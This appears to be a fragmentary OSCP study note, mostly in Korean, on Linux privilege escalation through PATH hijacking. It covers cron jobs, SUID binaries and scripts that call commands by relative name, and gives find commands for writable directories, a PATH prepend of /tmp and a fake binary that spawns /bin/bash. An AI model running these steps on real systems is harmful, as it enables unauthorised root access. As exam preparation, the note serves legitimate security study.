$PATH , you could potentially hijack an application to run a script.$PATH in Linux is an environment variable that tells the OS where to search for executables.$PATHOSCP 같은 시험 환경에서는 PATH 환경변수만 가지고서는 공격을 진행하지 않는다. 쓰기 권한이 있는 경로라는 재료와 주기적으로 실행되는 관리자 권한이라는 부재료가 보통 만나 공격이 진행이 된다.
보통 시험에서는 아래 3가지 시나리오 중 하나로 믹스해서 공격하게 될거라고 생각한다.
/etc/crontab 에 PATH 가 정의되어 있고, 실행되는 명령어가 절대 경로(/bin/ls 등)가 아닌 이름(ls)로 되어 있음.PATH중 내가 쓰기 권한이 있는 디렉토리에 가짜 명령어를 심는다.system("service apache2 start"); 같은 코드를 실행.PATH 맨 앞에 /tmp 를 추가하고 (export PATH=/tmp:$PATH), /tmp/service라는 악성 파일을 만든다.service 대신 내가 만든 /tmp/service 를 root 권한으로 실행한다.backup.sh 파일 안에 tar -cvf ... 라는 내용이 있음.PATH 를 조작하거나, tar 명령어가 참조하는 경로에 가짜 tar 를 심는다.A simple search to look for writable folders using find
find / -writable 2>/dev/null
find / -type d -writable 2>/dev/null | cut -d "/" -f 2 | sort -u
find / -type d -writable 2>/dev/null | cut -d "/" -f 2,3 | sort -u
adding /tmp in $PATH env variable
echo $PATH
export PATH=/tmp:$PATH
Attack
cd /tmp
echo "/bin/bash" > wook
chmod 777 wook